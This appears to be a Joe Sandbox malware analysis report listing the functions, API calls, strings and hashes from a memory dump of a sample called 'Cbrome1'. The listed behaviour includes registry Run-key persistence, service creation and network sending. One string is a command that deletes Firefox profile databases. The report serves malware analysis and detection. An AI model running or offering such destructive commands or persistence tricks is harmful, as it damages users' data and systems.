Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32 ref: 0000023A29E11C2D
timeGetTime.WINMM ref: 0000023A29E11C3F
socket.WS2_32 ref: 0000023A29E11C66
gethostbyname.WS2_32 ref: 0000023A29E11C80
htons.WS2_32 ref: 0000023A29E11C97
connect.WS2_32 ref: 0000023A29E11CBB
getsockname.WS2_32 ref: 0000023A29E11CE3
inet_ntop.WS2_32 ref: 0000023A29E11D11
setsockopt.WS2_32 ref: 0000023A29E11D39
setsockopt.WS2_32 ref: 0000023A29E11D61
setsockopt.WS2_32 ref: 0000023A29E11D89
setsockopt.WS2_32 ref: 0000023A29E11DAD
WSAIoctl.WS2_32 ref: 0000023A29E11DF8

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: setsockopt$EventIoctlResetTimeconnectgethostbynamegetsocknamehtonsinet_ntopsockettime
String ID:
API String ID: 4102826399-0
Opcode ID: 69823b34bc752394f411954f9e383b6d2b1dd5977c59d891b4d8328fbe2701bc
Instruction ID: 08097499d538e46ce10e1281ab85e16f4ce294a13c7704e8eaa4413f8e9b3e89
Opcode Fuzzy Hash: 69823b34bc752394f411954f9e383b6d2b1dd5977c59d891b4d8328fbe2701bc
Instruction Fuzzy Hash: C8715872700B41AAE710CF65E444BAE33B5F748B98F004129EE9957B94DF7CC269C745

Function 0000023A29E14430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClassExA.USER32 ref: 0000023A29E14476
GetModuleHandleA.KERNEL32 ref: 0000023A29E1448E
CreateWindowExA.USER32 ref: 0000023A29E144D0
GetMessageA.USER32 ref: 0000023A29E144E8
TranslateMessage.USER32 ref: 0000023A29E144FC
DispatchMessageA.USER32 ref: 0000023A29E14507
GetMessageA.USER32 ref: 0000023A29E1451A

Strings

QjNy1jwRYuH6aNtMf3Jz, xrefs: 0000023A29E14457

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Message$ClassCreateDispatchHandleModuleRegisterTranslateWindow
String ID: QjNy1jwRYuH6aNtMf3Jz
API String ID: 3848795541-3621823610
Opcode ID: 3406c9ca98162bfd763306c4c3a91e589ec25171c65301aba56c24f70cb98ac9
Instruction ID: 40f3e5e6a12f2f60089cd094455329ee560c803c42c2f4e85c100904ec0c4e24
Opcode Fuzzy Hash: 3406c9ca98162bfd763306c4c3a91e589ec25171c65301aba56c24f70cb98ac9
Instruction Fuzzy Hash: 87215331614B8181E7608B64F858B6B77B4F784B14F944239DAED43AE4DF3CC669CB05

Function 0000023A29E20682 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 223
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.LIBCMT ref: 0000023A29E207D1
RegOpenKeyExA.KERNELBASE ref: 0000023A29E20940
RegSetValueExA.KERNELBASE ref: 0000023A29E20979
RegCloseKey.ADVAPI32 ref: 0000023A29E20997

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0000023A29E20932
run, xrefs: 0000023A29E20986

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CloseOpenValuerand
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$run
API String ID: 1269030272-4096352211
Opcode ID: bb5cf5929220f16a8c944caad1162cf4acaccbe0bc6527bf008da004e9084124
Instruction ID: 06e7b071ba007dfb69ce725449bbbf2355c05304cf76512e1fd99c28949684b1
Opcode Fuzzy Hash: bb5cf5929220f16a8c944caad1162cf4acaccbe0bc6527bf008da004e9084124
Instruction Fuzzy Hash: BBB15D32510BC089E775AF34D849BDA2371F754BA8F444629DE994BADACF78C3A4C342

Function 0000023A29E230BC Relevance: 9.1, APIs: 6, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.LIBCMT ref: 0000023A29E230E7
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E230F2
_getptd.LIBCMT ref: 0000023A29E23118
CreateThread.KERNELBASE ref: 0000023A29E2316D
GetLastError.KERNEL32 ref: 0000023A29E23178
free.LIBCMT ref: 0000023A29E23183

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CreateErrorLastThread_errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 3283625137-0
Opcode ID: 682c3161d626f3e06a97a55f13333c3dfc29333ffe79b4f3941292e52bca3446
Instruction ID: 2376b9cc8a67f03b8fbeb531bb8fe3a2dc2ee76538e42eba5bb1451234b7a17e
Opcode Fuzzy Hash: 682c3161d626f3e06a97a55f13333c3dfc29333ffe79b4f3941292e52bca3446
Instruction Fuzzy Hash: 0B217431A0478085E6149B55E949B5FB3B4BB44FD0F444639AEE903796CF7CC2618B02

Function 0000023A29E1EB40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E223A0: GetComputerNameA.KERNEL32 ref: 0000023A29E223FF
Part of subcall function 0000023A29E223A0: lstrcpy.KERNEL32 ref: 0000023A29E22415
Part of subcall function 0000023A29E223A0: wsprintfA.USER32 ref: 0000023A29E22444

SleepEx.KERNEL32 ref: 0000023A29E1EB75

Strings

driver, xrefs: 0000023A29E1EB49, 0000023A29E1EB7B
run, xrefs: 0000023A29E1EB60

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ComputerNameSleeplstrcpywsprintf
String ID: driver$run
API String ID: 2401651887-4270002515
Opcode ID: 20af55a0a792ddad8a0b3d662374fb4cfecfde6feee429567d2bc022b4671d35
Instruction ID: c98e0e2d1f015478f08ad504b8c4d98d12280ef3d42c346d6a38533e530cf144
Opcode Fuzzy Hash: 20af55a0a792ddad8a0b3d662374fb4cfecfde6feee429567d2bc022b4671d35
Instruction Fuzzy Hash: A2014F30210782C1FB206731D849F6B27B0B794B54F48117DADDA86AD6EB6CCBA58792

Function 0000023A29E1ED81 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E23290: malloc.LIBCMT ref: 0000023A29E232AA

GetLastInputInfo.USER32 ref: 0000023A29E1EDCA
GetTickCount.KERNEL32 ref: 0000023A29E1EDD0
GetForegroundWindow.USER32 ref: 0000023A29E1EDFE

Part of subcall function 0000023A29E12F20: IsWindow.USER32 ref: 0000023A29E12F37
Part of subcall function 0000023A29E12F20: GetWindowThreadProcessId.USER32 ref: 0000023A29E12F63
Part of subcall function 0000023A29E12F20: GetCurrentProcessId.KERNEL32 ref: 0000023A29E12F6B
Part of subcall function 0000023A29E12F20: GetCurrentThreadId.KERNEL32 ref: 0000023A29E12F77
Part of subcall function 0000023A29E12F20: GetWindowTextA.USER32 ref: 0000023A29E12F8D

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: 44b1e6e62a3808914b2990803f0d3b32f4d0b914e85da03f9fa56ac4a72c0795
Instruction ID: 4cdae964a8661d4ad14b5ff26684306ce96995773bbd475e079ca6412d131ac3
Opcode Fuzzy Hash: 44b1e6e62a3808914b2990803f0d3b32f4d0b914e85da03f9fa56ac4a72c0795
Instruction Fuzzy Hash: 7611E73361434086DB44DF36E84865A6671F785F40F089439EE9647B89DF7CCA64C701

Function 0000023A29E13080 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Process32First.KERNEL32 ref: 0000023A29E130A0
FindCloseChangeNotification.KERNELBASE ref: 0000023A29E13144

Part of subcall function 0000023A29E234EC: _errno.LIBCMT ref: 0000023A29E234FE
Part of subcall function 0000023A29E234EC: _invalid_parameter_noinfo.LIBCMT ref: 0000023A29E23509

Process32Next.KERNEL32 ref: 0000023A29E1311E

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Process32$ChangeCloseFindFirstNextNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 1362859326-0
Opcode ID: 38c2abb4abafc69136a7456c2adf4735da2ec9da11d856ab3c788e6b6e9f4e49
Instruction ID: a199d1b774d93c68d445889263e0385dc07b991df16a49f9c3932143bf7f0da0
Opcode Fuzzy Hash: 38c2abb4abafc69136a7456c2adf4735da2ec9da11d856ab3c788e6b6e9f4e49
Instruction Fuzzy Hash: 2B113A36314B4082EB158B22E848B6BB7A4F748FE4F485226EEA943799DF7CC6548705

Function 0000023A29E1E907 Relevance: 4.6, APIs: 3, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E23290: malloc.LIBCMT ref: 0000023A29E232AA

GetLastInputInfo.USER32 ref: 0000023A29E1EDCA
GetTickCount.KERNEL32 ref: 0000023A29E1EDD0
GetForegroundWindow.USER32 ref: 0000023A29E1EDFE

Part of subcall function 0000023A29E12F20: IsWindow.USER32 ref: 0000023A29E12F37
Part of subcall function 0000023A29E12F20: GetWindowThreadProcessId.USER32 ref: 0000023A29E12F63
Part of subcall function 0000023A29E12F20: GetCurrentProcessId.KERNEL32 ref: 0000023A29E12F6B
Part of subcall function 0000023A29E12F20: GetCurrentThreadId.KERNEL32 ref: 0000023A29E12F77
Part of subcall function 0000023A29E12F20: GetWindowTextA.USER32 ref: 0000023A29E12F8D

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: 53f4fb6f92e301a670ffe44a7bcae88315d6365779e7b2565db4d3ad9d44070f
Instruction ID: e640d59b6209ffd81dd657901212b1afc9e48e5c3d92fd7d497496ca5dc56764
Opcode Fuzzy Hash: 53f4fb6f92e301a670ffe44a7bcae88315d6365779e7b2565db4d3ad9d44070f
Instruction Fuzzy Hash: 5B11823361074086EB44DF66F84875A6371F788F80F089438AE9A47B89DF7CCAA4CB41

Function 0000023A29E12900 Relevance: 3.1, APIs: 2, Instructions: 65networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 0000023A29E12960
send.WS2_32 ref: 0000023A29E1299F

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: a7a69a6c44eae31ac87e71d4d49eb2ed0d436db1612ea634298a4d147ca241f4
Instruction ID: 749421315ecf84a3f65058c0d86187c8a9bb6d89572988b369b90df1fa2f1f1c
Opcode Fuzzy Hash: a7a69a6c44eae31ac87e71d4d49eb2ed0d436db1612ea634298a4d147ca241f4
Instruction Fuzzy Hash: 3D21083270078140E7204B1AAC49B6B76A4FB89FD0F541139DE9843FD1EB7CC9A2CB01

Function 0000023A29E13430 Relevance: 3.1, APIs: 2, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32 ref: 0000023A29E1346F
GetComputerNameA.KERNEL32 ref: 0000023A29E134C5

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ComputerCurrentNameProfile
String ID:
API String ID: 3082751485-0
Opcode ID: e2a9adb5299dfcb7f963bcc1a221c1a79a9d13bacd767ea76fef39f5dd3caca1
Instruction ID: 5516766c30004a600d75ef79ef99116f0c28dc85c9783ffed3a49579b08f93c9
Opcode Fuzzy Hash: e2a9adb5299dfcb7f963bcc1a221c1a79a9d13bacd767ea76fef39f5dd3caca1
Instruction Fuzzy Hash: A5214C326187C095EB70CF24E45479BB7A1F784B64F40532AAAAD43AD9DB3CC219CB12

Function 0000023A29E11370 Relevance: 2.6, APIs: 2, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 0000023A29E113E1
VirtualFree.KERNELBASE ref: 0000023A29E11415

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: ec9b96369609cc7b76882b531fbdd83dd41e6b39cdc7d89fc169277994d9546c
Instruction ID: ea668bd55600678519e0f26452fe63f6a40a483e3cc2f85b8cd76b70f683c278
Opcode Fuzzy Hash: ec9b96369609cc7b76882b531fbdd83dd41e6b39cdc7d89fc169277994d9546c
Instruction Fuzzy Hash: E221C532710B8087D7488B2AE54471A63B1F748F80F548135EF9A93B18EF3CD9E28B40

Function 0000023A29E112B0 Relevance: 2.6, APIs: 2, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 0000023A29E11303
VirtualFree.KERNEL32 ref: 0000023A29E1133C

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 90bdbeb053a759dfb6172123d893b3ef7054f36a6b9beffb9720844b7b812231
Instruction ID: 659e3941360aaae741ab795928c9c96acb75ca53d2909bc79d4b4e561ac10b33
Opcode Fuzzy Hash: 90bdbeb053a759dfb6172123d893b3ef7054f36a6b9beffb9720844b7b812231
Instruction Fuzzy Hash: 35116331710B8086D759CB35E544A1AB3A5F794FC4F188139EE8A83B59EB3CC9A1CB40

Function 0000023A29E1E9AD Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E230BC: _errno.LIBCMT ref: 0000023A29E230E7
Part of subcall function 0000023A29E230BC: _invalid_parameter_noinfo.LIBCMT ref: 0000023A29E230F2

FindCloseChangeNotification.KERNELBASE ref: 0000023A29E1E9F9

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ChangeCloseFindNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 3879645562-0
Opcode ID: 8b5c2874f67fae6cc539669819e9ba9401d6a467d667a7702f5f314eb248856d
Instruction ID: 5d62482c91b7747c294314d47edc1d5f30d61a21295dd1a289489c13c9bc23e8
Opcode Fuzzy Hash: 8b5c2874f67fae6cc539669819e9ba9401d6a467d667a7702f5f314eb248856d
Instruction Fuzzy Hash: EEF08232B0474086DB54DB61A41999E63A6B348F80F44413DAE8E8374ADE3CC2148701

Function 0000023A29E1E8A5 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E230BC: _errno.LIBCMT ref: 0000023A29E230E7
Part of subcall function 0000023A29E230BC: _invalid_parameter_noinfo.LIBCMT ref: 0000023A29E230F2

FindCloseChangeNotification.KERNELBASE ref: 0000023A29E1E9F9

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ChangeCloseFindNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 3879645562-0
Opcode ID: fe1b2c9a00d0439b6484432930ce1f5736a7d7bb895aa72d2332d0093413d6f7
Instruction ID: e7329bc4f2595ffb497e28bf47cdd8074e0a726fe85e77ec8526ef1adfd3107b
Opcode Fuzzy Hash: fe1b2c9a00d0439b6484432930ce1f5736a7d7bb895aa72d2332d0093413d6f7
Instruction Fuzzy Hash: FCE08C32A08740C2DB54DBA1B41999B6375B388F84F08403EBE8E43745CB3CC2648B05

Function 0000023A29E1E9D8 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E230BC: _errno.LIBCMT ref: 0000023A29E230E7
Part of subcall function 0000023A29E230BC: _invalid_parameter_noinfo.LIBCMT ref: 0000023A29E230F2

FindCloseChangeNotification.KERNELBASE ref: 0000023A29E1E9F9

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ChangeCloseFindNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 3879645562-0
Opcode ID: d6125d13708f799677689afbea7ffb082b258275de06f0192fa5187475e311fc
Instruction ID: 317910fd2d646c88fa32746423c329652d0ba3a6b83795240f86f6e519d5219a
Opcode Fuzzy Hash: d6125d13708f799677689afbea7ffb082b258275de06f0192fa5187475e311fc
Instruction Fuzzy Hash: 98E0C273A0474082D710DB61F42898B63A5F788B88F080039AE8E43705CE3CC265CB05

Function 0000023A29E23010 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E23014

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

Part of subcall function 0000023A29E23010: RtlExitUserThread.NTDLL ref: 0000023A29E23008

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ExitThreadUser_amsg_exit_getptd
String ID:
API String ID: 3266111976-0
Opcode ID: 39573410a5979c0aea12430765ec1b2124b86234ae2065d2873b2faf8877364f
Instruction ID: baedac78a394bf40e76b9186942a66595e3a7b74969f6ad08220a03fb35c69af
Opcode Fuzzy Hash: 39573410a5979c0aea12430765ec1b2124b86234ae2065d2873b2faf8877364f
Instruction Fuzzy Hash: CCC01222F4224441DA087371445EBAE01B1BBC5F00F919078D94E53383DD1C45654205

Function 0000023A29E1E91F Relevance: 1.3, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E230BC: _errno.LIBCMT ref: 0000023A29E230E7
Part of subcall function 0000023A29E230BC: _invalid_parameter_noinfo.LIBCMT ref: 0000023A29E230F2

CloseHandle.KERNEL32 ref: 0000023A29E1E957

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CloseHandle_errno_invalid_parameter_noinfo
String ID:
API String ID: 4154143816-0
Opcode ID: 6968cceffff01d735b6ebd56def7f1b4ed7aa33f54521a4776e989f45e377667
Instruction ID: 9411943c4ad81c54aad708c9406314541a35b45845cea3750f26e80ef369c113
Opcode Fuzzy Hash: 6968cceffff01d735b6ebd56def7f1b4ed7aa33f54521a4776e989f45e377667
Instruction Fuzzy Hash: 74F06D32604644C6E7449B55F418BAB73A1F388B58F08003AEE8E43756CBBCC2A5CB45

Function 0000023A29E1E7A5 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0000023A29E1E7B1

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 173b2ec5e022ee776b24513b541c10d14d834b8f36d2d81bd77bd2e64784ec69
Instruction ID: 7e7722aa2bd0a68545d3e3d25d950495cab9c53d1e8e812f9e7c36f2e0609a16
Opcode Fuzzy Hash: 173b2ec5e022ee776b24513b541c10d14d834b8f36d2d81bd77bd2e64784ec69
Instruction Fuzzy Hash: 30E01A326086C486E3419B59E4087EAA721F384BA4F0C1065DFCE0B796CAACC5E5CB41

Non-executed Functions

Function 0000023A29E1F8D0 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 132servicefilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E238A4: GetSystemTimeAsFileTime.KERNEL32 ref: 0000023A29E238B2

Part of subcall function 0000023A29E24238: _getptd.LIBCMT ref: 0000023A29E24240

rand.LIBCMT ref: 0000023A29E1F930

Part of subcall function 0000023A29E24250: _getptd.LIBCMT ref: 0000023A29E24254

OpenSCManagerA.ADVAPI32 ref: 0000023A29E1F972
CreateFileA.KERNEL32 ref: 0000023A29E1F9B6
CloseHandle.KERNEL32 ref: 0000023A29E1F9D1
CloseServiceHandle.ADVAPI32 ref: 0000023A29E1F9DA
CreateServiceA.ADVAPI32 ref: 0000023A29E1FA3A
WriteFile.KERNEL32 ref: 0000023A29E1FA62
DeleteService.ADVAPI32 ref: 0000023A29E1FA6F
CloseServiceHandle.ADVAPI32 ref: 0000023A29E1FA78

Part of subcall function 0000023A29E222C0: GetComputerNameA.KERNEL32 ref: 0000023A29E2230D
Part of subcall function 0000023A29E222C0: lstrcpy.KERNEL32 ref: 0000023A29E22323
Part of subcall function 0000023A29E222C0: wsprintfA.USER32 ref: 0000023A29E22352

CloseHandle.KERNEL32 ref: 0000023A29E1FA81
CloseServiceHandle.ADVAPI32 ref: 0000023A29E1FA8A
CloseHandle.KERNEL32 ref: 0000023A29E1FA95
StartServiceA.ADVAPI32 ref: 0000023A29E1FAA3
Sleep.KERNEL32 ref: 0000023A29E1FAAE
DeleteService.ADVAPI32 ref: 0000023A29E1FAC0
CloseServiceHandle.ADVAPI32 ref: 0000023A29E1FAC9
CloseServiceHandle.ADVAPI32 ref: 0000023A29E1FAD2
DeleteFileA.KERNEL32 ref: 0000023A29E1FAE0

Strings

C:\ProgramData\girl.jpg, xrefs: 0000023A29E1F8F1
driver, xrefs: 0000023A29E1FAE8

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Service$CloseHandle$File$Delete$CreateTime_getptd$ComputerManagerNameOpenSleepStartSystemWritelstrcpyrandwsprintf
String ID: C:\ProgramData\girl.jpg$driver
API String ID: 2345241111-1437884672
Opcode ID: 9d3927efc2e86f327e81318a06defe3ff0f5a5e80a7fa5aa5fc8fe9fe512994d
Instruction ID: 99420b6624964a471199a1a93116059982c2183d525cd9bc7135e9f874b641ae
Opcode Fuzzy Hash: 9d3927efc2e86f327e81318a06defe3ff0f5a5e80a7fa5aa5fc8fe9fe512994d
Instruction Fuzzy Hash: C4515C31604B8086F7249B21E818B6B73B4F789F90F484139DEDA47BA5DF3CC6658B06

Function 0000023A29E284A8 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 200COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A29E284D8
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E284E3
_errno.LIBCMT ref: 0000023A29E28508
_errno.LIBCMT ref: 0000023A29E28510
_errno.LIBCMT ref: 0000023A29E28534
_errno.LIBCMT ref: 0000023A29E2866F

Strings

del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db, xrefs: 0000023A29E284B3
PATH, xrefs: 0000023A29E28558

Memory Dump Source

